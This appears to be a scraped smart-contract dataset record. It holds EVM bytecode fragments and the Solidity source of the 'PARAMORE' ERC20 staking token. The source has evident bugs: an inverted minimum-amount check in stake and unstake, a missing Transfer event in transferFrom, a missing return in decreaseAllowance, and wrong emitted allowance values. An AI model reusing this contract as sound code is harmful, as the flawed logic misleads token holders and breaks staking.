ffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b91565b60405180821515815260200191505060405180910390f35b6104fa600480360360408110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c92565b60405180821515815260200191505060405180910390f35b61051a610cb0565b6040518082815260200191505060405180910390f35b6105926004803603604081101561054657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cba565b6040518082815260200191505060405180910390f35b6105ea600480360360208110156105be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d41565b005b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106845780601f1061065957610100808354040283529160200191610684565b820191906000526020600020905b81548152906001019060200180831161066757829003601f168201915b5050505050905090565b60006106a261069b610f4c565b8484610f54565b6001905092915050565b6000600154905090565b600061072260056000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461114b565b905090565b60006107348484846111cf565b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077f610f4c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610815576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611cd96028913960400191505060405180910390fd5b61082985610821610f4c565b858403610f54565b60019150509392505050565b6000600460009054906101000a900460ff16905090565b60006108e5610859610f4c565b848460066000610867610f4c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401610f54565b6001905092915050565b6000610939600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461114b565b9050919050565b610948610f4c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b875780601f10610b5c57610100808354040283529160200191610b87565b820191906000526020600020905b815481529060010190602001808311610b6a57829003601f168201915b5050505050905090565b60008060066000610ba0610f4c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611d6f6025913960400191505060405180910390fd5b610c87610c7e610f4c565b85858403610f54565b600191505092915050565b6000610ca6610c9f610f4c565b84846111cf565b6001905092915050565b6000600d54905090565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d49610f4c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e09576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611c4a6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611d4b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611c706022913960400191505060405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000600b548211156111a8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611d016025913960400191505060405180910390fd5b60006111b2611777565b90506111c7818461179590919063ffffffff16565b915050919050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611255576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611d266025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112db576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611c276023913960400191505060405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000611329611777565b9050600061134082856117df90919063ffffffff16565b90508083101561139b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611c926026913960400191505060405180910390fd5b6000806000806113aa88611865565b935093509350935061140485600560008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ce90919063ffffffff16565b600560008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114ab61145d87866117df90919063ffffffff16565b600560008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1890919063ffffffff16565b600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061150387846117df90919063ffffffff16565b90506115798160056000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1890919063ffffffff16565b60056000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006115f388846117df90919063ffffffff16565b905061160a81600c54611a1890919063ffffffff16565b600c8190555061162583600d54611a1890919063ffffffff16565b600d8190555061164081600b546119ce90919063ffffffff16565b600b81905550600085111561170457600061166489876117df90919063ffffffff16565b905061167b866001546119ce90919063ffffffff16565b60018190555061169681600b546119ce90919063ffffffff16565b600b81905550600073ffffffffffffffffffffffffffffffffffffffff168d73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a3505b8a73ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a3505050505050505050505050565b6000611790600154600b5461179590919063ffffffff16565b905090565b60006117d783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611aa0565b905092915050565b6000808314156117f2576000905061185f565b600082840290508284828161180357fe5b041461185a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611cb86021913960400191505060405180910390fd5b809150505b92915050565b600080600080600060085460015411156118a7576118a06064611892600c896117df90919063ffffffff16565b61179590919063ffffffff16565b9050611919565b60095460015411156118e1576118da60646118cc6006896117df90919063ffffffff16565b61179590919063ffffffff16565b9050611918565b600a5460015411156119175761191460646119066003896117df90919063ffffffff16565b61179590919063ffffffff16565b90505b5b5b6000611942606461193460058a6117df90919063ffffffff16565b61179590919063ffffffff16565b9050600061196d606461195f60038b6117df90919063ffffffff16565b61179590919063ffffffff16565b905061198282896119ce90919063ffffffff16565b975061199781896119ce90919063ffffffff16565b975060008311156119b8576119b583896119ce90919063ffffffff16565b97505b8783828496509650965096505050509193509193565b6000611a1083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b66565b905092915050565b600080828401905083811015611a96576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008083118290611b4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b11578082015181840152602081019050611af6565b50505050905090810190601f168015611b3e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611b5857fe5b049050809150509392505050565b6000838311158290611c13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611bd8578082015181840152602081019050611bbd565b50505050905090810190601f168015611c055780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365416d6f756e74206d757374206265206c657373207468616e20746f74616c20737570706c7945524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cb55dbc0ec9ee6a5e8fa4d172e5ba136bc5c95fece222e7bf1347d3de1edce4a64736f6c63430007010033
{"success": true, "error": null, "results": {}}
227
0xEB2f5eC2DCeF6efC53935015f1Cf367E32EDcb5D
pragma solidity 0.7.0; // SafeMath library provided by the OpenZeppelin Group on Github // SPDX-License-Identifier: MIT /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* ERC20 Standards followed by OpenZeppelin Group libraries on Github */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /* Staking process is followed according to the ERC900: Simple Staking Interface #900 issue on Github */ interface Staking { event Staked(address indexed user, uint256 amount, uint256 total, bytes data); event Unstaked(address indexed user, uint256 amount, uint256 total, bytes data); function stake(uint256 amount, bytes memory data) external returns (bool); function unstake(uint256 amount, bytes memory data) external returns (bool); function totalStakedFor(address addr) external view returns (uint256); function totalStaked() external view returns (uint256); function supportsHistory() external pure returns (bool); } /*PARAMORE Protocol being created with the help of the above interfaces for compatibility*/ contract PARAMORE is IERC20, Staking { /* Constant variables created for the ERC20 requirements*/ string public constant name = "PARAMORE"; string public constant symbol = "PARA"; uint8 public constant decimals = 18; //Burn address saved as constant for future burning processes address public constant burnaddress = 0x0000000000000000000000000000000000000000; mapping(address => uint256) balances; //PARA balance for all network participants mapping(address => uint256) stakedbalances; //PARA stake balance to lock stakes mapping(address => uint) staketimestamps; //PARA stake timestamp to record updates on staking for multipliers, this involves the idea that multipliers will reset upon staking mapping(address => mapping (address => uint256)) allowed; //Approval array to record delegation of thrid-party accounts to handle transaction per allowance /* Total variables created to record information */ uint256 totalSupply_; uint256 totalstaked = 0; address theowner; //Owner address saved to recognise on future processes using SafeMath for uint256; //Important*** as this library provides security to handle maths without overflow attacks constructor() public { totalSupply_ = 1000000000000000000000000; balances[msg.sender] = totalSupply_; theowner = msg.sender; emit Transfer(msg.sender, msg.sender, totalSupply_); } //Constructor stating the total supply as well as saving owner address and sending supply to owner address //Function to report on totalsupply following ERC20 Standard function totalSupply() public override view returns (uint256) { return totalSupply_; } //Function to report on account balance following ERC20 Standard function balanceOf(address tokenOwner) public override view returns (uint) { return balances[tokenOwner]; } //Burn process is just a funtion to calculate burn amount depending on an amount of Tokens function cutForBurn(uint256 a) public pure returns (uint256) { uint256 c = a.div(20); return c; } //Straight forward transfer following ERC20 Standard function transfer(address receiver, uint256 numTokens) public override returns (bool) { require(numTokens <= balances[msg.sender], 'Amount exceeds balance.'); balances[msg.sender] = balances[msg.sender].sub(numTokens); balances[receiver] = balances[receiver].add(numTokens); emit Transfer(msg.sender, receiver, numTokens); return true; } //Approve function following ERC20 Standard function approve(address delegate, uint256 numTokens) public override returns (bool) { require(numTokens <= balances[msg.sender], 'Amount exceeds balance.'); allowed[msg.sender][delegate] = numTokens; emit Approval(msg.sender, delegate, numTokens); return true; } //Allowance function to verify allowance allowed on delegate address following ERC20 Standard function allowance(address owner, address delegate) public override view returns (uint) { return allowed[owner][delegate]; } //The following function is added to mitigate ERC20 API: An Attack Vector on Approve/TransferFrom Methods function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(addedValue <= balances[msg.sender].sub(allowed[msg.sender][spender]), 'Amount exceeds balance.'); allowed[msg.sender][spender] = allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender].add(addedValue)); return true; } //The following function is added to mitigate ERC20 API: An Attack Vector on Approve/TransferFrom Methods function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(subtractedValue <= allowed[msg.sender][spender], 'Amount exceeds balance.'); allowed[msg.sender][spender] = allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue)); } //Transfer For function for allowed accounts to allow tranfers function transferFrom(address owner, address buyer, uint numTokens) public override returns (bool) { require(numTokens <= balances[owner], 'Amount exceeds balance.'); require(numTokens <= allowed[owner][msg.sender], 'Amount exceeds allowance.'); balances[owner] = balances[owner].sub(numTokens); allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens); balances[buyer] = balances[buyer].add(numTokens); return true; } //Staking processes //Stake process created updating balances, stakebalances and also recording time on process run, the process will burn 5% of the amount function stake(uint256 amount, bytes memory data) public override returns (bool) { require(amount <= balances[msg.sender]); require(amount < 20, "Amount to low to process"); balances[msg.sender] = balances[msg.sender].sub(amount); uint256 burned = cutForBurn(amount); totalSupply_ = totalSupply_.sub(burned); balances[burnaddress] = balances[burnaddress].add(burned); stakedbalances[msg.sender] = stakedbalances[msg.sender].add(amount.sub(burned)); totalstaked = totalstaked.add(amount.sub(burned)); staketimestamps[msg.sender] = block.timestamp; emit Staked(msg.sender, amount.sub(burned), stakedbalances[msg.sender], data); emit Transfer(msg.sender, msg.sender, amount.sub(burned)); emit Transfer(msg.sender, burnaddress, burned); return true; } //This function unstakes locked in amount and burns 5%, this also updates amounts on total supply function unstake(uint256 amount, bytes memory data) public override returns (bool) { require(amount <= stakedbalances[msg.sender]); require(amount <= totalstaked); require(amount < 20, "Amount to low to process"); stakedbalances[msg.sender] = stakedbalances[msg.sender].sub(amount); totalstaked = totalstaked.sub(amount); uint256 burned = cutForBurn(amount); totalSupply_ = totalSupply_.sub(burned); balances[burnaddress] = balances[burnaddress].add(burned); balances[msg.sender] = balances[msg.sender].add(amount.sub(burned)); emit Unstaked(msg.sender, amount.sub(burned), stakedbalances[msg.sender], data); emit Transfer(msg.sender, msg.sender, amount.sub(burned)); emit Transfer(msg.sender, burnaddress, burned); return true; } //Function to return total staked on a single address function totalStakedFor(address addr) public override view returns (uint256) { return stakedbalances[addr]; } //Function to shows timestamp on stake processes function stakeTimestampFor(address addr) public view returns (uint256) { return staketimestamps[addr]; } //Function to find out time passed since last timestamp on address function stakeTimeFor(address addr) public view returns (uint256) { return block.timestamp.sub(staketimestamps[addr]); } //Total staked on all addresses function totalStaked() public override view returns (uint256) { return totalstaked; } //Support History variable to show support on optional stake details function supportsHistory() public override pure returns (bool) { return false; } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80637033e4a6116100ad578063a9059cbb11610071578063a9059cbb14610689578063c8fd6ed0146106ed578063db36b789146107c8578063dd62ed3e14610820578063e5c5f1d5146108985761012c565b80637033e4a61461050c57806370a082311461052c578063817b1cd21461058457806395d89b41146105a2578063a457c2d7146106255761012c565b806323b872dd116100f457806323b872dd14610353578063313ce567146103d757806339509351146103f857806346c327b41461045c5780634b341aed146104b45761012c565b806301eaa6ed1461013157806306fdde0314610173578063095ea7b3146101f65780630e89439b1461025a57806318160ddd14610335575b600080fd5b61015d6004803603602081101561014757600080fd5b81019080803590602001909291905050506108cc565b6040518082815260200191505060405180910390f35b61017b6108ee565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bb5780820151818401526020810190506101a0565b50505050905090810190601f1680156101e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102426004803603604081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610927565b60405180821515815260200191505060405180910390f35b61031d6004803603604081101561027057600080fd5b81019080803590602001909291908035906020019064010000000081111561029757600080fd5b8201836020820111156102a957600080fd5b803590602001918460018302840111640100000000831117156102cb57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610acd565b60405180821515815260200191505060405180910390f35b61033d610ff2565b6040518082815260200191505060405180910390f35b6103bf6004803603606081101561036957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ffc565b60405180821515815260200191505060405180910390f35b6103df6113e4565b604051808260ff16815260200191505060405180910390f35b6104446004803603604081101561040e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113e9565b60405180821515815260200191505060405180910390f35b61049e6004803603602081101561047257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611739565b6040518082815260200191505060405180910390f35b6104f6600480360360208110156104ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611794565b6040518082815260200191505060405180910390f35b6105146117dd565b60405180821515815260200191505060405180910390f35b61056e6004803603602081101561054257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117e2565b6040518082815260200191505060405180910390f35b61058c61182a565b6040518082815260200191505060405180910390f35b6105aa611834565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ea5780820151818401526020810190506105cf565b50505050905090810190601f1680156106175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106716004803603604081101561063b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061186d565b60405180821515815260200191505060405180910390f35b6106d56004803603604081101561069f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b69565b60405180821515815260200191505060405180910390f35b6107b06004803603604081101561070357600080fd5b81019080803590602001909291908035906020019064010000000081111561072a57600080fd5b82018360208201111561073c57600080fd5b8035906020019184600183028401116401000000008311171561075e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611db4565b60405180821515815260200191505060405180910390f35b61080a600480360360208110156107de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612293565b6040518082815260200191505060405180910390f35b6108826004803603604081101561083657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122dc565b6040518082815260200191505060405180910390f35b6108a0612363565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000806108e360148461236890919063ffffffff16565b905080915050919050565b6040518060400160405280600881526020017f504152414d4f524500000000000000000000000000000000000000000000000081525081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156109dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f416d6f756e7420657863656564732062616c616e63652e00000000000000000081525060200191505060405180910390fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115610b1a57600080fd5b60148310610b90576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f416d6f756e7420746f206c6f7720746f2070726f63657373000000000000000081525060200191505060405180910390fd5b610be1836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000610c2e846108cc565b9050610c45816004546123b290919063ffffffff16565b600481905550610c9c816000808073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123fc90919063ffffffff16565b6000808073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d42610cf482866123b290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123fc90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dac610d9b82866123b290919063ffffffff16565b6005546123fc90919063ffffffff16565b60058190555042600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167fc65e53b88159e7d2c0fc12a0600072e28ae53ff73b4c1715369c30f160935142610e4183876123b290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054866040518084815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610ece578082015181840152602081019050610eb3565b50505050905090810190601f168015610efb5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a23373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f6c84886123b290919063ffffffff16565b6040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600191505092915050565b6000600454905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156110b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f416d6f756e7420657863656564732062616c616e63652e00000000000000000081525060200191505060405180910390fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156111a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f416d6f756e74206578636565647320616c6c6f77616e63652e0000000000000081525060200191505060405180910390fd5b6111f5826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112c682600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b290919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611397826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123fc90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190509392505050565b601281565b60006114b8600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815